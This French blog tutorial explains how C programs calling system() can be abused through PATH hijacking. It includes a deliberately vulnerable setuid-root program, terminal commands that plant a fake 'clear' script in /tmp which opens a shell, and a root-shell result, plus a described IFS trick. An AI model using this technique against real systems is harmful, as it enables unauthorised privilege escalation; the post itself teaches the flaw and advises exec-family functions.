Fonction system() ? PATH ton chemin !

Fonction system() ? PATH ton chemin !

system() est une fonction assez souvent rencontrée lorsque l'on fait du C. Si elle est simple à comprendre, elle est néanmoins, d'un point de vue sécurité, à éviter, et nous allons voir pourquoi.

Une histoire de chemins

Dans un terminal, que ça soit sous Windows ou sous Linux, vous avez l'habitude de taper des commandes. Ces « commandes » sont bien évidemment des programmes se trouvant quelque part sur votre ordinateur. Ainsi, la commande « ls » sous Linux affiche le contenu d'un dossier. Seulement vous avez dû remarquer quelque chose : peu importe où l'on se trouve dans l'arborescence, si on tape « ls », la commande sera exécutée alors qu'en théorie, lorsque l'on veut lancer un programme quelconque, nous sommes censé indiquer son emplacement.

Comment cela est-il possible ?

Eh bien, en fait, ça n'a rien de magique : ceci est possible grâce à la variable d'environnement PATH. Cette variable contient une liste de dossiers et lorsque vous entrez une commande (ou programme, car une commande, c'est un programme ;) ), sans préciser un quelconque chemin, le système d'exploitation va parcourir les différents dossiers mentionnés dans le PATH et regarder s'il ne trouve pas un programme portant le même nom. Dès qu'il le trouve, c'est ce programme dans ce dossier qui sera exécuté. S'il ne trouve pas un programme du même nom dans les dossiers mentionnés dans le PATH, il vous indiquera quelque chose comme quoi « la commande/le programme n'a pas pu être trouvé(e) » (et sous Windows, il vérifiera également le dossier courant).

Premier trouvé, premier exécuté !

En effet, le système va parcourir la liste (de gauche à droite) et s'arrêtera dès qu'il aura trouvé un programme dont le nom est identique et ce même si les dossiers suivants comportent également un programme portant ce nom.

Ça vous parait compliqué ? Éclaircissons cela avec un exemple !

Reprenons donc notre commande « ls ». Sous Linux, son emplacement réel est dans le dossier /bin.

que20@hacktion:~$ which ls
/bin/ls

Affichons également le contenu de notre variable PATH.

que20@hacktion:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/games

Lorsque l'on va taper « ls » sans préciser de chemin, voici en gros ce que le système d'exploitation va faire.

Existe t-il un programme nommé ls dans le dossier /usr/local/bin ? -> Non
Existe t-il un programme nommé ls dans le dossier /usr/bin ?       -> Non
Existe t-il un programme nommé ls dans le dossier /bin ?           -> Oui -> Exécution du programme dont le chemin est /bin/ls

Imaginons que nous avons également un programme nommé « ls » dans /usr/games, c'est malgré tout notre programme « ls » se trouvant dans le dossier /bin qui serait exécuté car son dossier se trouve avant dans la variable PATH et comme dit : premier trouvé, premier exécuté.

Et c'est bien là le problème : qu'est ce qui se passerait si on avait un programme portant le nom « ls », se trouvant dans un dossier mentionné dans le PATH et qui serait AVANT le dossier /bin ? Eh bien tout simplement, ça serait ce « faux ls » qui serait exécuté et pas le « ls » attendu (celui dans /bin) !

Prouvons le : créons un programme nommé « ls » dans le dossier /tmp car celui-ci étant accessible en écriture par n'importe qui (mais n'importe quel autre dossier où vous pouvez écrire peut convenir). Ce programme se contentera juste d'afficher une chaîne (mais vous pouvez lui faire faire ce que vous voulez).

que20@hacktion:/$ echo 'echo "Je me nomme également ls mais je ne suis pas le ls du dossier /bin ! :D"' > /tmp/ls
que20@hacktion:/$ chmod +x /tmp/ls
que20@hacktion:/$ ls
bin  boot  dev  etc  home  initrd.img  initrd.img.old  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  vmlinuz  vmlinuz.old
que20@hacktion:/$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/games

On a donc bien un programme nommé « ls » dans le dossier /tmp mais c'est toujours bien le programme « /bin/ls » qui est exécuté lorsque l'on tape la commande. La raison est tout simplement que n'avons pas encore ajouté le dossier /tmp à notre variable PATH : le système d'exploitation ne va donc pas encore parcourir ce dossier. C'est ce que nous allons faire maintenant et vous verrez qu'après cela, la commande « ls » exécutée ne sera plus celle que l'on s'attend. Il est à noter qu'il est important que le dossier « /tmp » doit se trouver AVANT le dossier « /bin » car rappelez-vous : premier trouvé, premier exécuté !

que20@hacktion:/$ export PATH=/tmp:$PATH
que20@hacktion:/$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/games:/home/que20/.rvm/bin
que20@hacktion:/$ ls
Je me nomme également ls mais je ne suis pas le ls du dossier /bin ! :D

Eh voilà le travail ! Comme vous pouvez le constater, désormais lorsque l'on entre la commande « ls » c'est bien notre programme se trouvant dans « /tmp » qui sera exécuté et non plus le « vrai ls ».

Et le rapport avec la fonction system en C dans tout ça ?

Eh bien system utilise cette notion de la variable PATH ! De ce fait, on peut donc « l'abuser » afin de lui faire exécuter un autre programme que celui attendu, et comme c'est le programme « victime » qui va le lancer, via la fonction system, celui-ci sera donc exécuté avec les droits du programme « victime » et si ce dernier a plus de droits que nous, ça nous permet d'escalader nos privilèges ! :)

Mettons cela en pratique avec un exemple concret.

#include <stdio.h>
#include <stdlib.h>

int main()
{
        printf("Hello world !");
        system("clear");
        return 0;
}

La commande « clear » (« cls » sous Windows) permet de vider l'écran. Cette fonction se trouve normalement dans « /usr/bin ».

Il est à noter que notre programme vulnérable appartient, par un malheureux hasard, à root ! :D

que20@hacktion:~$ ls -lA /home/que20/vuln
-rwsr-sr-x 1 root root 8464 sep 21 12:54 /home/que20/vuln
que20@hacktion:~$

Bref, utilisons la même technique que précédemment mais cette fois-ci, notre « faux programme » va simplement ouvrir un shell. N'oublions pas, si ce n'est pas déjà fait, d'ajouter notre dossier « /tmp » à la variable PATH, relançons ensuite notre programme vulnérable et admirons le résultat

que20@hacktion:~$ cat /tmp/clear
#!/bin/sh
echo "Hacked ! :D"
/bin/sh
que20@hacktion:~$ chmod +x /tmp/clear
que20@hacktion:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/games
que20@hacktion:~$ export PATH=/tmp:$PATH
que20@hacktion:~$ ./vuln
Hacked ! :D
# whoami
root
#

Si ça c'est pas un beau shell ! :)

ABSOLUment sécurisé ? Vous êtes bien naIFS ! (pour info : probablement obsolète)

Je tiens à préciser d'avance que cet exemple d'attaque est très certainement obsolète depuis un moment (bien que je n'en sois pas sûr à 100%) et que donc, il est fort probable que ça ne fonctionne plus maintenant mais le trouvant « sympa », je vous en fait part malgré tout. ;)

Pour que les exemples précédents fonctionnent, il faut obligatoirement n'indiquer ni de chemins relatifs, ni de chemins absolus car c'est leur absence qui va faire qu'on va se reposer sur la variable PATH.

Modifions notre programme pour illustrer cela.

#include <stdio.h>
#include <stdlib.h>

int main()
{
        printf("Hello world !");
        system("/usr/bin/clear");
        return 0;
}

Là, le chemin est entiérement précisé : il ne semble alors plus vraiment possible d'abuser du PATH. Cependant, une (vieille) technique (qui comme dit, n'est probablement plus fonctionnelle !) permettait de contourner ce problème !

En effet, sous Linux (comme sous Windows), le séparateur par défaut est l'espace. Ainsi, entrer la commande « truc muche machin » revient à vouloir lancer le programme « truc » avec comme premier argument « muche » et « machin » comme second argument (c'est d'ailleurs pour cette raison que vous devez échapper ou encoder les espaces dans un chemin car sinon, l'espace sera pris comme un séparateur ;) ). Eh bien, sous Linux (peut être sous Windows aussi mais je n'ai pas vérifié), ce séparateur pouvait être modifié via la variable IFS ! L'idée était alors de modifier cette variable et de lui attribuer le caractère « / ». De ce fait, la commande « /usr/bin/clear » n'allait plus lancer le programme situé dans le dossier « /usr/bin » mais allait exécutér le programme nommé « usr » avec comme premier argument « bin » et « clear » comme second argument ! Il suffisait ensuite d'abuser une nouvelle fois de notre variable PATH et le tour est (ou était plutôt) joué. :)

Conclusion

Pour éviter ce genre de désagréments, il est conseillé d'utiliser les fonctions de la famille des exec plutôt que system

Facebook button Twitter button Google button

Laissez un commentaire

Votre adresse email ne sera pas publiée. Les champs marqués d'une * sont obligatoires.